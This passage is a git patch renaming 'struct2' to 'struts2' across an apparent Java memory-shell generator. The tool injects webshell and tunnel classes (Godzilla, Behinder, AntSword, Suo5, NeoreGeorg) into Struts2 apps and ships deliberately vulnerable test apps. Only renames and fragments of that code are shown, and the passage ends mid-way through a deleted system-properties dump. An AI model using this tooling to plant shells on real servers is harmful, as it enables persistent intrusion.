From 7866eb63b21eb5eb90a2b9408eb4e3f06769daa3 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sun, 24 May 2026 12:33:49 +0800 Subject: [PATCH 1/9] fix: rename struct2 -> struts2 --- .../workflows/memshell-integration-test.yml | 4 +- .github/workflows/probe-integration-test.yml | 4 +- .../java/com/reajason/javaweb/Server.java | 2 +- .../javaweb/memshell/ServerFactory.java | 16 +- .../Struts2ActionInjector.java} | 6 +- .../server/{Struct2.java => Struts2.java} | 6 +- ...Action.java => AntSwordStruts2Action.java} | 2 +- ...Action.java => BehinderStruts2Action.java} | 2 +- ...2Action.java => CommandStruts2Action.java} | 2 +- ...Action.java => GodzillaStruts2Action.java} | 2 +- ...tion.java => NeoreGeorgStruts2Action.java} | 2 +- ...uct2Action.java => Suo5Struts2Action.java} | 8 +- ...t2Action.java => Suo5v2Struts2Action.java} | 4 +- .../response/ResponseBodyGenerator.java | 4 +- .../javaweb/probe/payload/ServerProbe.java | 2 +- ...{Struct2Writer.java => Struts2Writer.java} | 4 +- .../javaweb/integration/ContainerTool.java | 2 +- .../Struts2ContainerTest.java} | 8 +- .../Struts2ContainerTest.java} | 12 +- .../infos/Struct2ContainerTestBasicInfo.txt | 475 ------------------ mise.toml | 2 + settings.gradle.kts | 2 +- .../build.gradle.kts | 0 .../main/java/Base64ClassLoaderAction.java | 0 .../java/BigIntegerClassLoaderAction.java | 0 .../src/main/java/JavaReadObjAction.java | 0 .../src/main/java/ScriptEngineAction.java | 0 .../src/main/java/TestAction.java | 0 .../src/main/java/UploadAction.java | 0 .../src/main/resources/struts.xml | 0 .../src/main/webapp/WEB-INF/web.xml | 0 .../src/main/webapp/index.html | 0 web/content/docs/changelog.mdx | 2 +- web/content/docs/custom-memshell.mdx | 2 +- web/content/docs/memshell-core-config.mdx | 2 +- web/content/docs/meta.json | 2 +- web/content/docs/resbody/meta.json | 2 +- web/content/docs/resbody/struct2.mdx | 5 - web/content/docs/resbody/struts2.mdx | 5 + web/content/docs/struct2-shell.mdx | 5 - web/content/docs/struts2-shell.mdx | 5 + 41 files changed, 64 insertions(+), 537 deletions(-) rename generator/src/main/java/com/reajason/javaweb/memshell/injector/{struct2/Struct2ActionInjector.java => struts2/Struts2ActionInjector.java} (98%) rename generator/src/main/java/com/reajason/javaweb/memshell/server/{Struct2.java => Struts2.java} (64%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/{AntSwordStruct2Action.java => AntSwordStruts2Action.java} (98%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/{BehinderStruct2Action.java => BehinderStruts2Action.java} (99%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/{CommandStruct2Action.java => CommandStruts2Action.java} (97%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/{GodzillaStruct2Action.java => GodzillaStruts2Action.java} (99%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/{NeoreGeorgStruct2Action.java => NeoreGeorgStruts2Action.java} (99%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/{Suo5Struct2Action.java => Suo5Struts2Action.java} (98%) rename generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/{Suo5v2Struct2Action.java => Suo5v2Struts2Action.java} (97%) rename generator/src/main/java/com/reajason/javaweb/probe/payload/response/{Struct2Writer.java => Struts2Writer.java} (98%) rename integration-test/src/test/java/com/reajason/javaweb/integration/memshell/{struct2/Struct2ContainerTest.java => struts2/Struts2ContainerTest.java} (87%) rename integration-test/src/test/java/com/reajason/javaweb/integration/probe/{struct2/Struct2ContainerTest.java => struts2/Struts2ContainerTest.java} (86%) delete mode 100644 integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt create mode 100644 mise.toml rename vul/{vul-struct2 => vul-struts2}/build.gradle.kts (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/java/Base64ClassLoaderAction.java (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/java/BigIntegerClassLoaderAction.java (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/java/JavaReadObjAction.java (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/java/ScriptEngineAction.java (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/java/TestAction.java (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/java/UploadAction.java (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/resources/struts.xml (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/webapp/WEB-INF/web.xml (100%) rename vul/{vul-struct2 => vul-struts2}/src/main/webapp/index.html (100%) delete mode 100644 web/content/docs/resbody/struct2.mdx create mode 100644 web/content/docs/resbody/struts2.mdx delete mode 100644 web/content/docs/struct2-shell.mdx create mode 100644 web/content/docs/struts2-shell.mdx diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index e3bfdd6c..ba645153 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -48,8 +48,8 @@ jobs: depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar" - middleware: "xxljob" depend_tasks: "" - - middleware: "struct2" - depend_tasks: ":vul:vul-struct2:war" + - middleware: "struts2" + depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 name: ${{ matrix.cases.middleware }} steps: diff --git a/.github/workflows/probe-integration-test.yml b/.github/workflows/probe-integration-test.yml index 4b1c18a0..0efa4cf1 100644 --- a/.github/workflows/probe-integration-test.yml +++ b/.github/workflows/probe-integration-test.yml @@ -42,8 +42,8 @@ jobs: depend_tasks: ":vul:vul-webapp:war" - middleware: "springwebmvc" depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar" - - middleware: "struct2" - depend_tasks: ":vul:vul-struct2:war" + - middleware: "struts2" + depend_tasks: ":vul:vul-struts2:war" runs-on: ubuntu-22.04 name: ${{ matrix.cases.middleware }} steps: diff --git a/generator/src/main/java/com/reajason/javaweb/Server.java b/generator/src/main/java/com/reajason/javaweb/Server.java index b0ef32fe..804f91ce 100644 --- a/generator/src/main/java/com/reajason/javaweb/Server.java +++ b/generator/src/main/java/com/reajason/javaweb/Server.java @@ -20,6 +20,6 @@ public class Server { public static final String SpringWebMvc = "SpringWebMvc"; public static final String SpringWebFlux = "SpringWebFlux"; public static final String XXLJOB = "XXLJOB"; - public static final String Struct2 = "Struct2"; + public static final String Struts2 = "Struts2"; public static final String Dubbo = "Dubbo"; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java index 3ffa86a6..e5f6a5ec 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/ServerFactory.java @@ -46,7 +46,7 @@ public class ServerFactory { register(Server.SpringWebMvc, SpringWebMvc::new); register(Server.SpringWebFlux, SpringWebFlux::new); register(Server.XXLJOB, XxlJob::new); - register(Server.Struct2, Struct2::new); + register(Server.Struts2, Struts2::new); register(Server.Dubbo, Dubbo::new); addToolMapping(ShellTool.Godzilla, ToolMapping.builder() @@ -82,7 +82,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, GodzillaUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Godzilla.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Godzilla.class) - .addShellClass(ACTION, GodzillaStruct2Action.class) + .addShellClass(ACTION, GodzillaStruts2Action.class) .build()); addToolMapping(ShellTool.Behinder, ToolMapping.builder() @@ -107,7 +107,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, BehinderUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Behinder.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Behinder.class) - .addShellClass(ACTION, BehinderStruct2Action.class) + .addShellClass(ACTION, BehinderStruts2Action.class) .build()); addToolMapping(ShellTool.AntSword, ToolMapping.builder() @@ -125,7 +125,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSword.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, AntSword.class) - .addShellClass(ACTION, AntSwordStruct2Action.class) + .addShellClass(ACTION, AntSwordStruts2Action.class) .build()); addToolMapping(ShellTool.Command, ToolMapping.builder() @@ -162,7 +162,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Command.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Command.class) - .addShellClass(ACTION, CommandStruct2Action.class) + .addShellClass(ACTION, CommandStruts2Action.class) .addShellClass(ALIBABA_DUBBO_SERVICE, CommandDubboService.class) .addShellClass(APACHE_DUBBO_SERVICE, CommandDubboService.class) .build()); @@ -190,7 +190,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5UndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5.class) - .addShellClass(ACTION, Suo5Struct2Action.class) + .addShellClass(ACTION, Suo5Struts2Action.class) .build()); addToolMapping(ShellTool.Suo5v2, ToolMapping.builder() @@ -215,7 +215,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, Suo5v2UndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, Suo5v2.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, Suo5v2.class) - .addShellClass(ACTION, Suo5v2Struct2Action.class) + .addShellClass(ACTION, Suo5v2Struts2Action.class) .addShellClass(CUSTOMIZER, Suo5v2JettyCustomizer.class) .build()); @@ -241,7 +241,7 @@ public class ServerFactory { .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, NeoreGeorgUndertowServletHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, NeoreGeorg.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, NeoreGeorg.class) - .addShellClass(ACTION, NeoreGeorgStruct2Action.class) + .addShellClass(ACTION, NeoreGeorgStruts2Action.class) .build()); addToolMapping(ShellTool.Proxy, ToolMapping.builder() diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/struts2/Struts2ActionInjector.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java rename to generator/src/main/java/com/reajason/javaweb/memshell/injector/struts2/Struts2ActionInjector.java index 8ef54a34..6d2867ad 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/struct2/Struct2ActionInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/struts2/Struts2ActionInjector.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.memshell.injector.struct2; +package com.reajason.javaweb.memshell.injector.struts2; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; @@ -15,7 +15,7 @@ * @author ReaJason * @since 2025/12/8 */ -public class Struct2ActionInjector { +public class Struts2ActionInjector { private static String msg = ""; private static boolean ok = false; @@ -32,7 +32,7 @@ public String getBase64String() throws IOException { return "{{base64Str}}"; } - public Struct2ActionInjector() { + public Struts2ActionInjector() { if (ok) { return; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java b/generator/src/main/java/com/reajason/javaweb/memshell/server/Struts2.java similarity index 64% rename from generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java rename to generator/src/main/java/com/reajason/javaweb/memshell/server/Struts2.java index 4108637a..55ea2f05 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/server/Struct2.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/server/Struts2.java @@ -1,18 +1,18 @@ package com.reajason.javaweb.memshell.server; import com.reajason.javaweb.memshell.ShellType; -import com.reajason.javaweb.memshell.injector.struct2.Struct2ActionInjector; +import com.reajason.javaweb.memshell.injector.struts2.Struts2ActionInjector; /** * @author ReaJason * @since 2025/12/8 */ -public class Struct2 extends AbstractServer { +public class Struts2 extends AbstractServer { @Override public InjectorMapping getShellInjectorMapping() { return InjectorMapping.builder() - .addInjector(ShellType.ACTION, Struct2ActionInjector.class) + .addInjector(ShellType.ACTION, Struts2ActionInjector.class) .build(); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruts2Action.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruts2Action.java index a4e53470..40059777 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordStruts2Action.java @@ -10,7 +10,7 @@ * @author ReaJason * @since 2025/02/18 */ -public class AntSwordStruct2Action { +public class AntSwordStruts2Action { public static String pass; public static String headerName; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruts2Action.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruts2Action.java index 1fc453ff..6badbcd2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/behinder/BehinderStruts2Action.java @@ -15,7 +15,7 @@ /** * @author ReaJason */ -public class BehinderStruct2Action { +public class BehinderStruts2Action { public static String pass; public static String headerName; public static String headerValue; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruts2Action.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruts2Action.java index 9928c236..0fb36c59 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/command/CommandStruts2Action.java @@ -10,7 +10,7 @@ * @author ReaJason * @since 2025/12/8 */ -public class CommandStruct2Action { +public class CommandStruts2Action { private static String paramName; public String execute() throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java index a68002b9..9959f4ba 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/godzilla/GodzillaStruts2Action.java @@ -15,7 +15,7 @@ * @author ReaJason * @since 2024/12/15 */ -public class GodzillaStruct2Action { +public class GodzillaStruts2Action { private static String key; private static String pass; private static String md5; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruts2Action.java similarity index 99% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruts2Action.java index 3bb5e0dc..ca6f9a95 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/neoreg/NeoreGeorgStruts2Action.java @@ -18,7 +18,7 @@ *

* key: key */ -public class NeoreGeorgStruct2Action { +public class NeoreGeorgStruts2Action { public static String headerName; public static String headerValue; diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struts2Action.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struts2Action.java index 56bfab0f..a2f2a7a1 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5/Suo5Struts2Action.java @@ -16,7 +16,7 @@ * @author ReaJason * @since 2024/12/15 */ -public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustManager { +public class Suo5Struts2Action implements Runnable, HostnameVerifier, X509TrustManager { public static String headerName; public static String headerValue; public static HashMap addrs = collectAddr(); @@ -25,10 +25,10 @@ public class Suo5Struct2Action implements Runnable, HostnameVerifier, X509TrustM InputStream gInStream; OutputStream gOutStream; - public Suo5Struct2Action() { + public Suo5Struts2Action() { } - public Suo5Struct2Action(InputStream in, OutputStream out) { + public Suo5Struts2Action(InputStream in, OutputStream out) { this.gInStream = in; this.gOutStream = out; } @@ -268,7 +268,7 @@ private void processDataBio(HttpServletRequest request, HttpServletResponse resp Thread t = null; try { - Suo5Struct2Action p = new Suo5Struct2Action(scInStream, respOutStream); + Suo5Struts2Action p = new Suo5Struts2Action(scInStream, respOutStream); t = new Thread(p); t.start(); readReq(reqInputStream, scOutStream); diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struts2Action.java similarity index 97% rename from generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java rename to generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struts2Action.java index 621abb53..ff55ad72 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struct2Action.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/shelltool/suo5v2/Suo5v2Struts2Action.java @@ -14,11 +14,11 @@ * @author ReaJason * @since 2025/12/9 */ -public class Suo5v2Struct2Action { +public class Suo5v2Struts2Action { private static Class suo5V2Class; private static String suo5V2GZipBase64; - public Suo5v2Struct2Action() { + public Suo5v2Struts2Action() { } public void execute() throws Exception { diff --git a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java index ced27afa..8515336e 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/generator/response/ResponseBodyGenerator.java @@ -106,8 +106,8 @@ private Class getWriterClass() { return WebLogicWriter.class; case Server.Apusic: return ApusicWriter.class; - case Server.Struct2: - return Struct2Writer.class; + case Server.Struts2: + return Struts2Writer.class; default: throw new GenerationException("responseBody not supported for server: " + probeContentConfig.getServer()); } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java index 6c9cde0d..303834fa 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/ServerProbe.java @@ -10,7 +10,7 @@ * HTTP 服务类型识别,主要识别 Servlet 容器实现,例如 WildFly 识别为 Undertow,Payara 识别为 GlassFish * 很多国产中间件都是基于 GlassFish 改的,都会识别为 GlassFish * 额外需要注意: - * 1. 不会识别 SpringWebMVC Struct2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型 + * 1. 不会识别 SpringWebMVC Struts2 这种框架,只识别其提供 HTTP 服务的 Servlet 容器类型 * 2. 识别的顺序很重要,部分类型的识别单独拿出来是不准确的,没有测试的情况下,不要以下的 if 判断顺序 * * @author ReaJason diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struts2Writer.java similarity index 98% rename from generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java rename to generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struts2Writer.java index bed217b6..86ddb976 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struct2Writer.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/Struts2Writer.java @@ -11,10 +11,10 @@ * @author ReaJason * @since 2025/12/8 */ -public class Struct2Writer { +public class Struts2Writer { private static boolean ok = false; - public Struct2Writer() { + public Struts2Writer() { if (ok) { return; } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java index 25ada484..d8870486 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/ContainerTool.java @@ -16,7 +16,7 @@ public class ContainerTool { public static final MountableFile warExpressionFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-expression", "build", "libs", "vul-webapp-expression.war").toAbsolutePath()); public static final MountableFile warDeserializeFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp-deserialize", "build", "libs", "vul-webapp-deserialize.war").toAbsolutePath()); public static final MountableFile warFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-webapp", "build", "libs", "vul-webapp.war").toAbsolutePath(), 0666); - public static final MountableFile struct2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struct2", "build", "libs", "vul-struct2.war").toAbsolutePath()); + public static final MountableFile struts2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-struts2", "build", "libs", "vul-struts2.war").toAbsolutePath()); public static final MountableFile springBoot2WarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot2", "build", "libs", "vul-springboot2.war").toAbsolutePath()); public static final MountableFile springBoot1JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot1", "build", "libs", "vul-springboot1.jar").toAbsolutePath()); diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struts2/Struts2ContainerTest.java similarity index 87% rename from integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struts2/Struts2ContainerTest.java index 110ac50f..15da2340 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struct2/Struct2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/struts2/Struts2ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.memshell.struct2; +package com.reajason.javaweb.integration.memshell.struts2; import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.AbstractContainerTest; @@ -19,11 +19,11 @@ * @since 2024/12/4 */ @Testcontainers -public class Struct2ContainerTest extends AbstractContainerTest { +public class Struts2ContainerTest extends AbstractContainerTest { private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder() .imageName("tomcat:8-jre8") - .server(Server.Struct2) - .warFile(ContainerTool.struct2WarFile) + .server(Server.Struts2) + .warFile(ContainerTool.struts2WarFile) .warDeployPath("/usr/local/tomcat/webapps/app.war") .pidScript(ContainerTool.tomcatPid) .enableJspPackerTest(false) diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struts2/Struts2ContainerTest.java similarity index 86% rename from integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java rename to integration-test/src/test/java/com/reajason/javaweb/integration/probe/struts2/Struts2ContainerTest.java index 0017b5be..dc1d9195 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struct2/Struct2ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/struts2/Struts2ContainerTest.java @@ -1,4 +1,4 @@ -package com.reajason.javaweb.integration.probe.struct2; +package com.reajason.javaweb.integration.probe.struts2; import com.reajason.javaweb.Server; import com.reajason.javaweb.integration.ProbeAssertion; @@ -11,17 +11,17 @@ import org.testcontainers.junit.jupiter.Container; import org.testcontainers.junit.jupiter.Testcontainers; -import static com.reajason.javaweb.integration.ContainerTool.struct2WarFile; +import static com.reajason.javaweb.integration.ContainerTool.struts2WarFile; /** * @author ReaJason * @since 2024/12/4 */ @Testcontainers -public class Struct2ContainerTest extends AbstractProbeContainerTest { +public class Struts2ContainerTest extends AbstractProbeContainerTest { private static final ProbeTestConfig CONFIG = ProbeTestConfig.tomcat("tomcat:8-jre8") - .warFile(struct2WarFile) + .warFile(struts2WarFile) .expectedJdkVersion("JRE|1.8.0_402|52") .targetJdkVersion(Opcodes.V1_8) .supportsBytecode(false) @@ -47,7 +47,7 @@ protected GenericContainer getContainer() { @SneakyThrows protected void testCommandReqHeaderResponseBody() { String url = getUrl(); - ProbeAssertion.responseCommandIsOk(url, Server.Struct2, Opcodes.V1_8); + ProbeAssertion.responseCommandIsOk(url, Server.Struts2, Opcodes.V1_8); } @Override @@ -55,6 +55,6 @@ protected void testCommandReqHeaderResponseBody() { @SneakyThrows protected void testScriptEngineReqHeaderResponseBody() { String url = getUrl(); - ProbeAssertion.responseScriptEngineIsOk(url, Server.Struct2, Opcodes.V1_8); + ProbeAssertion.responseScriptEngineIsOk(url, Server.Struts2, Opcodes.V1_8); } } diff --git a/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt b/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt deleted file mode 100644 index 2150cedc..00000000 --- a/integration-test/src/test/resources/infos/Struct2ContainerTestBasicInfo.txt +++ /dev/null @@ -1,475 +0,0 @@ -# Generated At 2025-12-08 15:18:17 -SystemProps: -java.vendor: Temurin -sun.java.launcher: SUN_STANDARD -catalina.base: /usr/local/tomcat -sun.management.compiler: HotSpot 64-Bit Tiered Compilers -catalina.useNaming: true -os.name: Linux -sun.boot.class.path: /opt/java/openjdk/lib/resources.jar:/opt/java/openjdk/lib/rt.jar:/opt/java/openjdk/lib/sunrsasign.jar:/opt/java/openjdk/lib/jsse.jar:/opt/java/openjdk/lib/jce.jar:/opt/java/openjdk/lib/charsets.jar:/opt/java/openjdk/lib/jfr.jar:/opt/java/openjdk/classes -java.util.logging.config.file: /usr/local/tomcat/conf/logging.properties -org.apache.el.GET_CLASSLOADER_USE_PRIVILEGED: false -java.vm.specification.vendor: Oracle Corporation -java.runtime.version: 1.8.0_402-b06 -user.name: root -tomcat.util.scan.StandardJarScanFilter.jarsToScan: log4j-taglib*.jar,log4j-web*.jar,log4javascript*.jar,slf4j-taglib*.jar -shared.loader: -tomcat.util.buf.StringCache.byte.enabled: true -java.naming.factory.initial: org.apache.naming.java.javaURLContextFactory -user.language: en -sun.boot.library.path: /opt/java/openjdk/lib/aarch64 -jdk.tls.ephemeralDHKeySize: 2048 -java.version: 1.8.0_402 -java.util.logging.manager: org.apache.juli.ClassLoaderLogManager -user.timezone: Etc/UTC -sun.arch.data.model: 64 -java.util.concurrent.ForkJoinPool.common.threadFactory: org.apache.catalina.startup.SafeForkJoinWorkerThreadFactory -java.endorsed.dirs: /opt/java/openjdk/lib/endorsed -sun.cpu.isalist: -sun.jnu.encoding: UTF-8 -file.encoding.pkg: sun.io -package.access: sun.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.tomcat. -file.separator: / -java.specification.name: Java Platform API Specification -java.class.version: 52.0 -user.country: US -java.home: /opt/java/openjdk -java.vm.info: mixed mode -os.version: 6.17.8-orbstack-00308-g8f9c941121b1 -path.separator: : -java.vm.version: 25.402-b06 -java.protocol.handler.pkgs: org.apache.catalina.webresources -java.awt.printerjob: sun.print.PSPrinterJob -sun.io.unicode.encoding: UnicodeLittle -java.specification.maintenance.version: 5 -awt.toolkit: sun.awt.X11.XToolkit -package.definition: sun.,java.,org.apache.catalina.,org.apache.coyote.,org.apache.jasper.,org.apache.naming.,org.apache.tomcat. -java.naming.factory.url.pkgs: org.apache.naming -user.home: /root -org.apache.catalina.security.SecurityListener.UMASK: 0027 -java.specification.vendor: Oracle Corporation -tomcat.util.scan.StandardJarScanFilter.jarsToSkip: 